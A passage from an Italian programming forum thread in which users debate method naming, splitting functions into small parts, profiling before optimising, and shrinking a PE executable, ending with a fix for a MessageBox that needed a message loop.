comunque: potrei anche rivedermi la FirstLoad e suddividerla come dici tu, ma avrebbe poco senso imho: i nomi sarebbero lunghi un kilometro l'uno e sarebbero troppo specifici, tipo "BindJustAPartOfImportSection" :D
senza contare che andando avanti col lavoro diventerebbe "BindOnlyKernel32UsingStubs", da non confondere con "BindOnlyKernel32WithoutStubs" e "FullBindWithStubs"... tutte funzioni da usare una volta sola :mbe:


Si'! Esatto! Fallo! :D
Io scrivo il codice esattamente cosi', cerco di fare in modo che si legga in inglese. La maggior parte dei miei metodi sono usati una volta sola e sono autoesplicativi. Hey, non me lo sono mica inventato io.

Ti lascio con una perla:
"If you feel the need to write a comment, write a method instead"

edit: Sul dare i nomi ai metodi. I nomi dei metodi chiamati da un metodo devono stare allo stesso livello di astrazione, possibilmente nello spazio del problema, non nello spazio dell'implementazione.

Mi spiego meglio, non crei un metodo tipo AddTwoInt32ToEachOther (spazio dell'implementazione), ma ComputePointerToNewLocation. Cosi' comunichi a chi legge il perche' sti sommando due interi a 32 bit, per calcolare la nuova locazione. Dopo un po' di pratica ci prendi la mano e viene piu' facile.

e poi alla fine probabilmente mi verrà anche voglia di ottimizzare il tutto fino all'osso rimuovendo il CRT del Visual Studio e un po' di altra roba; togliere il CRT e lasciarci 10 chiamate superflue mi sembra un po' insensato...

Tu provami che 10 chiamate a funzione sono un collo di bottiglia con un bel profiling e allora le togli. Sai quante chiamate a funzione ho trovato nell'engine di BW2 che rappresentavano un collo di bottiglia? Due. Le ho tolte. Su un paio di centinaia di migliaia di righe di codice...

Entra in questa mentalita', e' un buon consiglio ;)

fek
01-09-2005, 16:01
Questa volta un bel coding-horror non te lo toglie nessuno :asd:
http://www.pigaz.org/immagini/icone/codinghorror.png

ciao ;)

Code Complete... A fagiuolo :D

71104
01-09-2005, 16:07
Tu provami che 10 chiamate a funzione sono un collo di bottiglia con un bel profiling e allora le togli. Sai quante chiamate a funzione ho trovato nell'engine di BW2 che rappresentavano un collo di bottiglia? Due. Le ho tolte. Su un paio di centinaia di migliaia di righe di codice... ma non è questo che intendevo... io devo solo ridurre la dimensione dell'eseguibile, per ora come performance va benissimo (senza contare che finora non ho usato il runtime di VC++; penso che sia linkato quasi inutilmente). il problema è che (se conosci un po' del formato PE converrai) anche un solo byte in teoria può salvarmi da un kilobyte di padding :D

fek
01-09-2005, 16:15
ma non è questo che intendevo... io devo solo ridurre la dimensione dell'eseguibile, per ora come performance va benissimo (senza contare che finora non ho usato il runtime di VC++; penso che sia linkato quasi inutilmente). il problema è che (se conosci un po' del formato PE converrai) anche un solo byte in teoria può salvarmi da un kilobyte di padding :D

Quando quel byte ti servira', vedrai che sara' facilissimo scovare come salvarlo una volta che il tuo codice e' tutto bello organizzato e ordinato :)

71104
03-09-2005, 01:30
era banale, e si, lo confermo :winner:
era una banalità della quale non mi accorgevo a causa della stanchezza :Prrr:
affinché la MessageBox funzionasse necessitava del fatto che nel processo almeno un thread avesse un ciclo di messaggi; ne ho inserito uno nell'host di prova che uso per testare a DLL e ha funzionato. :)
ho risolto senza dividere la mie belle funzioni (che sono proprio -oni) in parti senza senso (imho, perché imho una funzione chiamata una volta sola non serve a nulla nel 90% dei casi... e dal punto di vista funzionale diciamo il 95%), e udite udite... senza nemmeno usare il debugger :D
ho semplicemente riflettuto ;)
comunque la discussione di questo thread è stata interessante.

VICIUS
03-09-2005, 10:28
Bello il nuovo avatar :D

ciao ;)

71104
03-09-2005, 16:08
Bello il nuovo avatar :D già, mi rappresenta alla perfezione :p